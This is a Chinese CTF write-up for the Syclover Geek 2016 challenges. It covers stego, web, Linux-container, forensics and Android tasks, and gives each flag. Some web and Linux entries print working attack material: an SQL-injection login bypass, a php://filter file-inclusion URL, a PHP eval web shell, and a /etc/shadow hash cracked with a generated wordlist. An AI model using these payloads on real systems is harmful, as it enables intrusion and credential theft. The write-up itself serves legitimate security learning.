Stegsolve Frame Broswer模式,然后扫二维码就可以了
SYC{F1aSh_so_f4sT}
关注三叶草微博私信flag即可
SYC{2o16_Geek_c0m3_0n}
学弟大神做的,生成的一个save1文件中存储人物的关数和坐标
测试将关数改为5即可得到flag
SYC{6E23F259D98DF153}
用MP3Stego即可解密:
decode -X -P syclovergeek sycgeek-mp3.mp3
SYC{Mp3_B15b1uBiu_W0W}
JPK凯撒解密即可(够长的...)
SYC{here_Is_yOur_rEwArd_enjOy_It_Caesar_or_call_him_vIctOr_is_a_Excellent_man_if_you_want_to_get_his_informations_you_can_join_us}
把l改成1,找个MD5解密网站解密即可
SYC{ clay}
F12看network(网络),在header部分可找到flag
SYC{This_1s_Http_he4der}
使用firebug将cookie更改成:
root=1 whoami=admin@geekgame
,然后刷新即可
SYC{Welc0me_b4ck_4dm1n}
小伙伴的思路,加上X-forwarded-for
最后的数字跟滴的个数有关
SYC{Shan_Dong_Ren_Xiong_Qi}
根据小伙伴思路,在http://2em.pw/查询邮箱,发现
然后找到肖力吧,
加QQ,看空间留言板,
然后在https://whois.aliyun.com 查询sycsec.com,得到电话号,提交即可
SYC{13412341234}
小伙伴思路,Docker镜像,那就了解一下docker使用,实验环境 Ubuntu64位
先切换root,这样比较方便
Docker load -i geek_linux.tar 加载镜像
docker images 查看已加载镜像
docker run -t -i geek/linux /bin/bash 启动容器并打开一个终端
find / -name *flag* 寻找所有包含flag的文件名
cat /usr/local/etc/geek/.flag 得到第一个flag
SYC{L1Nux_1s_Fun_F0r_uS}
进入root目录,发现一个交换文件F1Ag2.swp,
用 ll 命令看到一些隐藏文件(也可以用ls -a),查看viminfo发现一个flag,但是提交不正确,那恢复一下swp文件
vim –r F1Ag2 恢复被删除的文件
cat F1Ag2 查看文件内容,稍微处理一下就是flag
SYC{40ac6ed53f18a051}
cat /etc/shadow 查看shadow文件
复制最后一个用户的信息
syclover-geek:$6$kawxWrll$cqxADGJwT99K.l24XlI0WPgF9h86Bz8FubiMPXsj..ad1rMDoVO/eNHDyVuLdML6fn337RdCOkf8IlyxJJFH3.:17084:0:99999:7:::
放到一个名为shadow的文件里
然后准备生成字典
#!/usr/bin/python
# -*- coding: utf-8 -*-
file1 = open("doc.txt", "w")
for i1 in range(1970, 2017):
for i2 in range(1, 13):
for i3 in range(1, 32):
s = "syc" + str(i1) +"%02d" % (i2) + "%02d" % (i3)
file1.write(s + "\n")
print "OK!!!"
file1.close()
John -worlist=doc.txt shadow 需要将这两个文件放在当前目录下,不然还得自己找目录
破解完成之后就会直接显示出密码
如果还想自己查看,使用命令:john –show shadow
SYC{ syc19770308}
学长做的
标题是snow,提示是No key Noflag。
看网页源码中有key。
学长说在html后面一些空格和tab符。
不是摩斯码,估计是一种加密方式名叫snow。
然后 学长 百度了“snow html隐写”,第一个结果http://book.51cto.com/art/201402/429300.htm中有详细描述。
在http://www.darkside.com.au/snow/上下载下来exe。使用命令
SNOW.EXE -C -p syclover2016 snow.html
SYC{HaHaHa_You_Find_Me}
小伙伴的脚本
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
url = "http://web.sycsec.com/0b3a7c6ca7f1f2e6/"
rep = requests.get(url)
y = 0
for x in rep.text:
if x == '@':
y = y + 1
print y
cookie = rep.cookies
url2 = 'http://web.sycsec.com/0b3a7c6ca7f1f2e6/judge.php'
rep2 = requests.post(url2, data={"mytext": str(y-1)}, cookies=cookie)
print rep2.text
SYC{web_is_fun}
用户名填 admin' or'1'='1
密码随便,不填也行
SYC{G00d_K33p_Trying_Wish_U_Success}
计算py,提交然后看源代码,有很长的字符串,进行解码,一共解码20次
脚本
#!/usr/bin/python
# coding: utf-8
import base64
string1 = "KMYDCWS..."
for i in range(20):
if i % 2 == 0:
string1 = base64.b32decode(string1)
else:
string1 = base64.b64decode(string1)
print string1
小伙伴的Python脚本,因为每层压缩方式不固定,所以比较麻烦
#!/usr/bin/python
# -*- coding: utf-8 -*-
import gzip
import tarfile
import zipfile
import bz2file
def un_gzip(filename):
"""
raise IOError, 'Not a gzipped file'
"""
g_file = gzip.GzipFile(filename)
open(filename+"_g","w+").write(g_file.read())
g_file.close()
return filename+"_g"
def un_tar(filename):
"""
tarfile.ReadError: file could not be opened successfully
"""
tar = tarfile.open(filename)
names = tar.getnames()
# print(names)
if len(names)>1:
print("tar too long > 1")
return False
tar.extract(names[0])
tar.close()
return names[0]
def un_zip(filename):
"""
zipfile.BadZipFile: Bad magic number for file header
"""
zip_file = zipfile.ZipFile(filename)
names = zip_file.namelist()
print(names)
if len(names) > 1:
print("zip too long > 1")
return False
zip_file.extract(names[0])
zip_file.close()
return names[0]
def un_bz2(filename):
"""
IOError: invalid data stream
"""
bz_file = bz2file.open(filename,"rb")
open(filename+"_bz","wb").write(bz_file.read())
bz_file.close()
return filename+"_bz"
def choose(filename):
try:
file = un_bz2(filename)
except Exception as e:
pass
else:
return un_bz2
try:
file = un_tar(filename)
except Exception as e:
pass
else:
return un_tar
try:
file = un_zip(filename)
except Exception as e:
print(e)
else:
return un_zip
try:
file = un_gzip(filename)
except Exception as e:
print(e)
else:
return un_gzip
def main():
filename = un_bz2("300")
for i in xrange(600):
print(filename)
func = choose(filename)
filename = func(filename)
#print(i)
if __name__ == '__main__':
main()
用模拟器看了看,是输入用户名和密码,
然后用jeb返汇编,知道用户名是8位,密码是28位
然后会调用native层的加密方法
将.so文件提取出来用ida打开,
关键函数和反汇编代码发现是对syc和table字段处理
Ctrl + S 找到对应字符串,比对代码发现,提取字符串中偶数位,得到flag
SYC{Have_FUn_W1th_GeekChal@}
常理可以直接用sqlmap注出来,但是我sqlmap老是断掉,就先手注出表名和列名,然后因为表名是 #FL4G# #相当于注释,后面的就没了,无奈只能再用sql map把flag dump下来
列名是flag
库名是sycsqli1(虽然没什么用)
跟出题人交流了下,发现可以把表名写成 `%23FL4G%23`来绕过
SYC{Sqli_1s_Not_So_Hard}
一个流量包,wireshark打开没什么发现,不过可以导出对象,然后用foremost提取一下文件,发现一张图片有flag
SYC{this_is_bluetooth}
打开之后看到brainfuck编码,解码之后是welcome.PHP
然后访问http://game.sycsec.com:50085/welcome.php
随便填俩数字,然后看源代码,有两个链接,syc.php和robot.txt
syc.php页面提示flag就在那个页面,robot.txt不能访问,不过可以访问robots.txt,得到result.php的源码
-1 || strops($str , '=/') >-1){
die('Do not hack master go :)');
}
$result=include($str . ".php");
//echo $str;
$res=0;
switch($oper){
case "+":
$res=$num1+$num2;
break;
case "-":
$res=$num1-$num2;
break;
case "*":
$res=$num1*$num2;
break;
case "/":
$res=$num1/$num2;
break;
default:
echo '
no data!';
}
echo '
result='.$res ;
?>
算对了你也找不到flag -.-
你对php实现计算器感兴趣么,来这里看看
:)
小伙伴找到:这里用到姿势是文件包含,这题的利用点为:php://filter/convert.base64-encode/resource=syc
就可以构造成:http://game.sycsec.com:50085/result.php?syc=php://filter/convert.base64-encode/resource=syc
得到base64编码的内容,解码即得到flag
SYC{php_iS_Fun}
小伙伴做的
后缀名phtml上传成功
SYC{Ohno_y0u_f0und_me}
说还有1个flag,然后上传一句话,过滤了php三个字符,用script标签加上PHP绕过,连菜刀得到flag
shell示例:
@eval($_POST['a']);
SYC{bRa1Nf4Ck}
给了hint是 视频和WINDOWS下的type命令有关,
然后查到这篇文章:http://blog.csdn.net/c395565746c/article/details/5336260,所以猜测可能是隐藏在ntfs文件流中,
但是不知道隐藏文件名,百度了下ntfs流文件读取工具,下载了一个软件 alternatestreamview ,
给的压缩文件解压到了一个文件夹pen,用 alternatestreamview检测此文件夹,发现
提取出来就得到flag了
SYC{Hei_hei_hei}
根据提示只要异或就可以了,那就随便找个正常的png图片跟下载的图片异或一下试试,然后,出来了。
# !python2
# coding:utf-8
file1 = open("1.png","rb") #下载的图片
content1 = file1.read()
file2 = open("2.png","rb") #随便找一张正常的图片
content2 = file2.read()
str1 = [chr(ord(a) ^ ord(b)) for a,b in zip(content1,content2)]
print str1
file1.close()
file2.close()
根据提示取前面的字符串就可以,后面的就重复了
flag:SYc1OV3r
根据 我好菜啊杂项部分得到的key,继续异或就好了
# !python2
# coding:utf-8
file1 = open("1.png","rb") #下载的图片
content1 = file1.read()
file2 = open("flag.png","wb")
key = "SYc1OV3r"
str1 = ""
for i in range(len(content1)):
str1 += chr(ord(content1[i])^ord(key[i%8]))
file2.write(str1)
file1.close()
file2.close()
print "Done"
发给你一张图片,用这张图片再运行刚才的代码,就得到flag了
flag:SYC{syc_hao_hao_xue_xi_tian_tian_xiang_shang}
感谢一起做题的小伙伴们。
(吐槽一下CSDN,回收站的文章不能恢复,那要回收站干什么用。。
而且登陆还是那么慢,幸亏我有小技巧。。
还有为什么莫名其妙地给我写的东西里加超链接。。
如果搜索不到是什么原因。。)